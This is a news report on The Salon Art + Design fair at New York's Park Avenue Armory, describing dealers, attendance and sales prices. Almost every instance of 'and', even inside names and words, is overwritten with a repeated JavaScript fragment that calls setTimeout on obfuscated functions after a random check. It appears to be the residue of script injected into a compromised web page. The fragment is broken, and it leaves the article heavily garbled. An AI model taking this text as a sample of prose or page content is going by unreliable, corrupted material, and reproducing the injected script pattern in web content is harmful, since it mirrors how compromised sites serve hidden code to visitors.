By: David S. Smith

NEW YORK CITY — “It was a slam dunk,” said Jill Bokor, the producer of The Salon Art + Design Show, managed by Sanford Smith & Associates in collaboration with the Syndicat National des Antiquaires (SNA), in the days following its recent run at the Park Avenue Armory. “Whatever we expected, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and we thought it would be good, none of us was prepared for what happened,” she said. Taking place over four days, Friday, November 15, through Monday, November 18, the show was attended by a huge andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and appreciative audience.

“We are pleased to be collaborating once again with France’s renowned Syndicat National des Antiquaires, an association that includes some of the most prestigious dealers in the world, to bring the second edition of the The Salon: Art + Design,” remarked show manager Sandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andy Smith. The Salon mixes art, design andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative art objects with 53 dealers from seven countries. Christian Deydier, president of the Syndicate, had this to say: “I am extremely happy that the SNA, in partnership with Sanford Smith for the second time, will present some of its top dealers during The Salon in New York. Personally, I feel that the first edition of The Salon was very successful andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and there has never been any question in my participation in the second edition.”

 “The resounding success of last year’s Salon was attributed to the addition of the SNA members, many of whom had not exhibited in the United States before, as well as the carefully edited booths,” related Smith. “The combination of a preponderance of Twentieth Century fine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts, some ethnographic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antique pieces created a unique andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and memorable show.”

The vast majority of the displays were presented by Parisian dealers, with items ranging from Eighteenth Century French furnishings displayed by the oldest family of antiques dealers in France, Kraemer Gallery, to contemproary art of Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando Botero, Wayne Thiebaud andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Niki de Saint Phalle featured at Tasende Gallery.

Preview for the fair opened on Thursday with a large crowd in attendance. A staggered opening took place with the high rollers coming in early in the evening andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other patrons following in stages at reduced admission. The appreciative crowd was not there merely to support the Kips Bay Boys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Girls Club or Planned Parenthood of New York City, they were also there to take in a lavish assortment of antiques presented in exemplary displays ranging from pre-Columbian to cutting-edge contemporary.

“We had 2,200-plus people come through the show on opening night,” stated Bokor, “andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and there were so many major sales I can hardly begin to tell you.” Management stated that the gate for the four-day show was just under 5,000.

A host of new dealers particpated in the show this year, including three ethnographic galleries. New entries diplaying fine art included Keitelman Gallery from Brussels with a selection of Twentieth Century avant-garde masters andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Tasende Gallery from Los Angeles with an assortment of Twentieth Century paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculpture. On the design front, Cristina Grajales, a leading New York decorative arts dealer who cultivates emerging contemporary designers, displayed a stunning selection of eclectic new work.

“Many people said it was the best fair they’ve ever seen in this country,” stated Bokor. “Overall, the comments were amazing. Sales were strong across the board, with furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design performing extraordinarily well.”

Major sales around the floor included an important pair of Jean Michele Frank consoles at Galerie L’Arc en Seine, Paris. The dealer was set up right at the entrance to the show andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and presented a stunning assortment of Art Nouveau furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accessories.

Flanking the entrance was Manhattan dealer Barry Friedman, who reported selling a number of items, including an important work by Wendell Castle, as well as several photos by Michael Eastman, the subject of the current exhibit at Friedman’s gallery. Friedman announced at the show that this will be the last fair he will exhibit at, as he will be retiring andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and closing the gallery once the Eastman show comes down in early 2014. Auctions for his inventory are already scheduled for March at Christie’s.

The furniture of George Nakashima was featured at Moderne Gallery, Philadelphia, with a large black walnut Conoid bench, $85,000, spanning the front of the booth. A Minguren I coffee table in Persian walnut was $75,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a triple chest of drawers was $55,000. The rear wall of the booth was filled with large paintings by David Roth, “Graphites,” that the artist first introduced in 1967 that explore the interaction of “light andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dimensionality.” At least one major sale from the selection of Nakashima was recorded, as well as two important pieces by Israeli designers Gal Goldner.

Babar was a hit at Mary Ryan Gallery, New York City, with the entire standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and devoted to original artwork of the feisty pachyderm by Laurent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Jean du Brunhoff. The dealer reported the sale of 22 of the original drawings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and watercolors.

Galerie Downtown Francois Laffanour sold an important Oscar Niemeyer coffee table. The dealer also displayed a wonderful Le Corbusier, Charlotte Perriandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pierre Jeanneret pivoting armchair, circa 1930, with a chrome tubular metal structure andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the original leather covering. Also by Perriandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was an “arrangement,” a cabinet made of ash, black enamelled folded steel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and plastic, circa 1958.

The selection of artwork seen at the fair was simply stunning, with works by Raoul Dufy, Aristide Maillol andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Henri Matisse featured at James Goodman Gallery, New York City.

Works by Le Corbusier included a colorful abstract titled “Totem (Still Life on a Table),” a Casein paint on board from 1961, at Galerie Zlotwski, Paris. Jean Dubuffet was also featured there with a gouache andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wash on paper titled “Personage” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a marker drawing “Logologie.”

A few blocks away from the armory at The Frick Collection, long lines of people waited for a chance to view the current exhibition featuring Vermeer’s iconic “Girl with a Pearl Earring.” There were also crowds gathered around not one, but two versions of “Girl with a Pearl Earring.” These were contemporary “Warholish” versions by Jacob Skornik in acrylic paint with diamond dust at Antoine Helwaser Gallery, New York City. A monumental Calder abstract oil was also on view.

One of the stars of the Salon fair was Edward Hopper’s portrait of Guy Pene du Bois from 1904 that was priced at $1.2 million at Bernard Goldberg Fine Art, New York City. Hanging next to it was Guy Pene du Bois’ “Teddy at Typewriter, 1932, $650,000. Other Guy Pene du Bois works included “The Intellectuals,” circa 1912, that was $375,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Behind the Scenes” from 1915 that was $275,000. Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Crafts items were also featured, with a Gustav Stickley Grueby tile top table marked $115,000, two monumental Grueby vases were $95,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $75,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a wonderful pair of Samuel Yellin handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andwrought andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andirons were $60,000.

Works by Pablo Picasso included a brush andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ink titled “Femme Assise,” Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Leger’s oil “La Danseuse Rouge” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Joan Miró’s oil, wax crayon andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pencil “Personage” at Galerie Gmurzynska, Zurich.

Albert Giacometti’s bronze “Petit Buste de Silvio sur double socle” was at Galerie Patrice Trigano, Paris. However, the item in the booth that was attracting the most attention was a Mel Ramos sculpture that measured more 6 six feet long andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and depicted a naked woman on top of a cigar. “Hav-a-Havana” was one of two Ramos nude sculptures shown, with “Chiquita Banana,” depicting a voluptuous woman rising from a banana peel, also catching the eye of shoppers.

A solo exhibition of works by Charles Biederman was at Menconi & Schoelkopf Fine Art, New York City. “S-3, Model for Outdoor Sculpture, New York, 1937,” priced at $195,000, was an early seller, going to an institution. Biederman, originally from Clevelandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, painted in New York City for a while, then Paris, with the artist eventually settling in rural Minnesota. Numerous other colorful linear paintings from throughout his career were also displayed.

Colin Reid’s “Colour Saturation: Ring of Fire, 2013,” a kiln cast glass circular sculpture with vibrant red bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding, $28,000, was a standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout at Adrian Sassoon, London. Also attracting attention was Hiroshi Suzuki’s “Seni Vase,” a large handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and raised fine silver vessel, $60,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Junko Mori’s forged steel sculpture “Propagation Project: Swell” from 2013 was $40,000. A set of 17 glazed pottery vessels by Australian artist Pippin Drysdale was catching the eye of collectors, attractively displayed across a long table. Titled “Geikie Gorge, Last Night Instillation, 2011” the set was marked $115,000.

An extensive assortment of Line Vautrin mirrors included more than a dozen prime examples at Jean-David Botella, Paris. The dealer also featured a selection of Jean Depres silver vessels andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andelabra produced through several of his different periods, ranging from the 1930s to the 1950s. “It is rare to find a complete set,” said Jean-David Botella of the Carlo Bugatti furniture that was commissioned for an Egyptian client. The set was all original andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and comprised an ornate table, four chairs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a settee.

A large, unique Josef Hoffmann cabinet, consisting of three large locker-style cabinets over two banks of three drawers, was made for the “Floge Sisters” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was offered at Yves Macaux, London. A Koloman Moser hanging lamp hung beside the cabinet, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was flanked by a Moser deck chair, made for Moser’s house in Vienna, circa 1901. A pair of armchairs by Moser were also offered; the circa 1904 chairs were executed for the Bertold Loffler apartment.

A fireplace surround by Tiffany designed for the Howell Hinds House in Clevelandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, Ohio, 1898, was featured at Lillian Nassau, New York City. The rare piece, made entirely of Favrile glass, was put in storage when the home was demolished in 1969 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was sold to a Japanese museum in the 1990s. “It was there for 20 years andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and now it is back,” stated dealer Arlie Sulka. “You see them from time to time, but they are almost always mosaics with small strips of glass; since this one is entirely made of glass, it is extra special,” said the dealer.

“Arabesque sur la Jambe droite, la main pres de terre, le bras gauche en dohrs,” a bronze conceived by Edgar Degas andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cast by Herbard Foundry, was featured at Galerie Brame & Lorenceau, Paris. Paintings in the booth included “La Place Vintmille — Square Berlioz” by Edouard Vuillard, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Roger de La Fresnaye’s “Le Quartorze Julliet.”

A large selection of works on paper by Egon Schiele were at Richard Nagy, London. Included among the assortment was “Seated Woman with Crossed Legs” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Pianist Roderick Mackey.”

Carpenters Workshop Gallery of London andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Paris had a solo show of the furniture of contemporary Brutalist-style artist Vincent Dufour, with strong sales reported. Joan Mirviss displayed a large selection of Oriental contemporary pottery, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold all of the ceramics pieces by Koike Shoko. The dealer commented that she left the fair with a long list of commissions for more. Sweden’s Modernity reported simply, “the best fair we’ve ever had.”

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